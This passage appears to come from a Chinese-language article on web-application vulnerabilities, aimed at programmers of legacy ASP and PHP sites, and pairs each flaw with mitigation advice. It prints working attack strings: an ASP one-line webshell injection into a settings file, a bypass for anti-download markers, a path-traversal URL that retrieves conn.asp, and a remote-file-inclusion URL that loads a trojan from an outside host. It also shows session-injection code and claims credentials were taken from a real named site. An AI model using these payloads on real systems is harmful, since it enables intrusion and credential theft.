3)程序參數(shù)允許寫入文件
在對“藍木企業(yè)管理系統(tǒng)”進行分析的時候發(fā)現(xiàn)現(xiàn)在有很多程序在后臺允許設(shè)置的參數(shù)是允許寫入文件的。這個做的問題就是允許我們構(gòu)造特殊的語句,將一個參數(shù)保存文件改造為一個木馬,當提交的表單對文本域的長度進行限制的時候我們可以構(gòu)造一個一句話木馬,沒有過濾的話,我們就可以直接寫入一個大馬了。所以建議程序員養(yǎng)成良好的習慣,將參數(shù)數(shù)據(jù)都保存到數(shù)據(jù)庫中,不要保存到文件里,避免類似情況的發(fā)生。
下面我們以藍木企業(yè)管理系統(tǒng)為例,進行演示:
這里的所有參數(shù)都是寫入到setup.asp這個文件里的
因為他并沒有對寫入的參數(shù)進行任何的過濾,所以我們可以手工寫入?yún)?shù),對語句進行提前結(jié)束,然后得到一個一句話后門。我們這里修改網(wǎng)站名稱好了,改為:
測試"%><%execute request("value")%><%a="1
發(fā)現(xiàn)修改后的配置文件內(nèi)容變?yōu)?/P>
訪問setup.asp返回
證明構(gòu)造一句話木馬成功,接下來就是上傳大馬,這里就不詳細演示了。
4)mdb數(shù)據(jù)庫改用ASP\ASA等名字作為數(shù)據(jù)庫擴展名
自從網(wǎng)上出現(xiàn)了下載默認數(shù)據(jù)庫文件進行密碼爆破,從而得到后臺權(quán)限的入侵例子,很多站長開始盲目的跟隨改數(shù)據(jù)庫文件名的潮流,將mdb數(shù)據(jù)庫改為asp或asa在過去確實可以防止下載,但是后來網(wǎng)上陸續(xù)出現(xiàn)了各種下載軟件支持下載asp文件,人們可以下載完后改名得到數(shù)據(jù)庫。
數(shù)據(jù)庫被下載還不是最可怕的,一個asp擴展名的數(shù)據(jù)庫在構(gòu)造一句話木馬的時候利用價值是非常大的,入侵者可以在任何可以對數(shù)據(jù)庫寫入數(shù)據(jù)的地方像數(shù)據(jù)庫寫入精心構(gòu)造的一句話木馬,成功寫入只要尋找一個具有寫權(quán)限的目錄,即可生成一個webshell
當然這樣的問題只存在于數(shù)據(jù)庫路徑已知、存在暴庫漏洞、后臺允許備份數(shù)據(jù)庫為指定文件名等情況下
那么防止數(shù)據(jù)庫被下載的辦法有如下幾種:
1.給數(shù)據(jù)庫名稱添加特殊符號 例如:#@$database.mdb
2.修改數(shù)據(jù)庫擴展名例如:database.jsp(前提是你的服務(wù)器不支持jsp否則將可能被利用來構(gòu)造一句話木馬)
3.將數(shù)據(jù)庫放到網(wǎng)站上層目錄,然后使用絕對路徑進行調(diào)用,現(xiàn)在很多空間提供商都提供這樣的功能
例如:網(wǎng)站目錄D:\www\test\wwwroot
上層路徑存在一個專門用來存放數(shù)據(jù)庫的文件夾database
那么在數(shù)據(jù)庫調(diào)用時候使用
D:\www\test\database\database.mdb
這樣只要數(shù)據(jù)庫文件不在網(wǎng)站當前目錄下,入侵者就無法下載了。
4.為數(shù)據(jù)庫添加一個新表,表里的內(nèi)容是十六進制數(shù)據(jù):3C25206C6F6F70203C25
也就是<% loop <%,這個時候如果往數(shù)據(jù)庫里添加一句話,企圖備份為asp的話,就會出現(xiàn)錯誤
但是這個辦法并不是絕對安全的,所謂“上有政策下有對策“。這個辦法很快就被破解了,破解的辦法是:構(gòu)造語句
<%'<% loop <%:%>
只要我們在數(shù)據(jù)庫里的兩個地方合適地插入<%'和:%>
即可將loop的防下載給過濾掉
所以為了更好的保護我們的數(shù)據(jù)庫,我個人建議網(wǎng)站編寫者最好在數(shù)據(jù)庫里添加loop防下載代碼,同時提醒用戶修改數(shù)據(jù)庫默認名稱并將數(shù)據(jù)庫放到網(wǎng)站的上層目錄中。
5)后臺顯示數(shù)據(jù)庫路徑
現(xiàn)在有很多網(wǎng)站程序后臺有帶類似asp探針一類的功能,可以顯示網(wǎng)站的絕對路徑以及數(shù)據(jù)庫的文件名稱,這個功能對于一個網(wǎng)站建設(shè)者來說沒有什么實用價值,到是它給入侵者帶來的價值更高。很多時候知道網(wǎng)站路徑即可進行跳轉(zhuǎn)和寫入木馬,而知道數(shù)據(jù)庫路徑的話問題更為嚴重:可以下載數(shù)據(jù)庫獲取更多信息和客戶資料、運氣好的話還可以寫入一句話木馬。
所以后臺顯示網(wǎng)站路徑及數(shù)據(jù)庫路徑和名稱這個功能盡量避免使用。
6)數(shù)據(jù)庫可備份修改擴展
備份數(shù)據(jù)庫——一個典型的獲取webshell的辦法,通過上傳一個jpg或者其他格式的木馬,然后通過備份得到一個asp、php、jsp的webshell,所以現(xiàn)在很多網(wǎng)站程序在備份的時候都是由系統(tǒng)自動生成的文件名,不允許用戶自定義。其實數(shù)據(jù)庫備份這個功能完全不必要,加入網(wǎng)站被刪除,數(shù)據(jù)庫肯定會被黑客刪除。最好的備份方式是自己手工備份到本地電腦。
7 )文件管理部分傳遞參數(shù)過濾問題及外部提交
這個漏洞的典型例子就是Ewebeditor
他的uploadfile.asp等文件中就存在著典型的參數(shù)外部提交,導致入侵者可以由瀏覽器提交需要列出文件的路徑,從而達到任意目錄瀏覽的目的,可以瀏覽目錄就可以知道數(shù)據(jù)庫路徑,從而獲得更高的信息和權(quán)限。
這里dir的值是從瀏覽器獲取的,而且沒有進行過濾,所以我們手工構(gòu)造下就可以跳轉(zhuǎn)到任意目錄了
允許瀏覽任意目錄的同時伴隨的允許下載任意文件,例如數(shù)據(jù)庫連接配置文件conn.asp或者你可以直接瀏覽得到數(shù)據(jù)庫名稱,并對其進行下載。所以網(wǎng)站編寫中對于文件管理這個功能的編寫一定要盡可能的避免允許外部提交參數(shù)并且對目錄的訪問進行過濾和限制。
8)XSS漏洞騙取cookies得到后臺權(quán)限
這里有一段簡單的檢測代碼:<script>alert("測試");</script>
將這段代碼插入到你的網(wǎng)站可以提交數(shù)據(jù)的地方,例如:留言本,論壇,新聞。等的標題位置,或者內(nèi)容位置,提交后訪問對應(yīng)的留言或者文章,如果彈出窗口
則說明這個位置存在Xss漏洞。關(guān)于xss的漏洞的詳細說明和利用辦法這里不具體了解了。我們就來說說它的危害。
一個普通的xss代碼可以用來掛馬,但是一個精心構(gòu)造的xss代碼卻可以用來滲透,盜取管理員cookies,然后在本地修改cookies從而得到后臺權(quán)限。當然xss的功能之強大不僅限于此。我們所要知道的就是,一定要注意在網(wǎng)站程序編寫過程中對代碼和數(shù)據(jù)的過濾進行嚴格處理,用主動防御的一句話叫做“寧可錯殺一千,也不放過一個“。
另外提供一個解決方案:
對用戶的cookies進行加密處理,后臺用戶使用session驗證。
因為session是保存在服務(wù)器的。所以即使cookies被盜取,入侵者無法在session對象消失以前進行操作的話,也無法得到更深入的權(quán)限。
9)任意文件下載漏洞
典型的例子就是新云,由于下載文件時候允許從地址欄提交文件路徑。導致用戶可以構(gòu)造路徑下載網(wǎng)站數(shù)據(jù)庫配置文件,從而得到后臺權(quán)限
例:
http://www.xxx.com/flash/downfile.asp?url=uploadfile/../../conn.asp
這個漏洞同樣出現(xiàn)在了黑客防線的網(wǎng)站上。
黑客防線使用的程序是”喬客” CMS 3.0 通過這個漏洞,我們得到了數(shù)據(jù)庫帳號密碼。
可惜是內(nèi)網(wǎng)數(shù)據(jù)庫,沒有webshell的前提下我們無法進行深入的檢測了。
由此我們可以看出,任意文件下載漏洞有多么可怕.所以對編寫下載網(wǎng)站程序的程序員提出下面幾點注意事項:
1. 下載文件路徑保存進數(shù)據(jù)庫,禁止外部提交
2. 假如入侵者已經(jīng)得到后臺權(quán)限,或者在前臺允許自己提交資源連接(自己構(gòu)造一個conn.asp的下載路徑)依然可以下載指定文件,所以一定要對文件路徑進行過濾
3. 對下載文件類型進行過濾,設(shè)置允許下載的格式
10 )遠程包含漏洞
這個漏洞夠強悍,直接得到webshell,還好這個漏洞只存在于PHP中。我們來簡單說明下漏洞形成原因:
<?php
include($include."/a.php");
?>
$include已經(jīng)設(shè)置好路徑,但是我們可以通過構(gòu)造一個路徑來達到攻擊的目的.
比方說我們提交:
http://www.xxx.com/index.php?include=http://www.ccc.com/muma.txt?
就可以輕松獲得一個webshell。解決辦法是關(guān)閉全局變量。4.2版本以后都是默認關(guān)閉的,為了就是解決這個問題,所以也請廣大服務(wù)器管理員注意跟新服務(wù)器上的第三方程序版本。
11)使用未加密的cookies進行用戶權(quán)限等級及權(quán)限驗證
有很多網(wǎng)站程序員圖方便,和節(jié)約服務(wù)器資源,使用cookies來驗證用戶信息。導致入侵者可以通過修改本地cookies進行入侵。而session對象雖然比較安全,但由于是保存在服務(wù)器上,30分鐘不活動才會自動清理出內(nèi)存,所以消耗資源非常大。相對折中的處理辦法是:
對于前臺用戶使用加密的cookies而后臺用戶則使用session這樣一來不但提高效率和減少資源消耗,還提高了安全性。因為后臺用戶數(shù)量少,而且使用session也可以降低Xss的成功率。
12)session對象欺騙
去年在邪惡八進制論壇上看到的才知道有session欺騙這個說法,session欺騙的最低條件是必須拿下同服務(wù)器的一個其他站點,也就是我們說的旁注。
因為session是保存在服務(wù)器上的,所以必須將構(gòu)造好的session欺騙用的文件上傳到旁注到的站點里,才能對服務(wù)器里的session進行欺騙。下面就是一個session欺騙的實例:
這段代碼將session寫入了數(shù)據(jù)庫
<%
dim rs
set rs=Server.Createobject("Adodb.recordset")
sql="select * from kevinadmin"
rs.open sql,conn
oldpass=rs("k_pass")
rs.close
sql="update kevinadmin set k_pass='" & request.Form("passwd2") &"' Where k_user='" & session("user") & "'"
'response.write sql
rs.open sql,conn
if err then
response.write "修改失敗"
else
response.write "修改成功"
end if
%>
我們可以通過構(gòu)造進行session注入
<%
session("user")="Huanhuan'and 1=2 and '1'='1"
%>
同樣我們可以利用這個構(gòu)造修改用戶ID或者權(quán)限:
<%
Session("UserID")="105"
%>
Session(“”)里面的內(nèi)容根據(jù)不同程序使用的名稱而定
看論壇里的人測試過,證明可行。
所以服務(wù)器的安全設(shè)置對于一個網(wǎng)站的安全性也是非常重要的
所以下一次我將為大家?guī)黻P(guān)于服務(wù)器安全漏洞分析和設(shè)置的相關(guān)文章,敬請期待!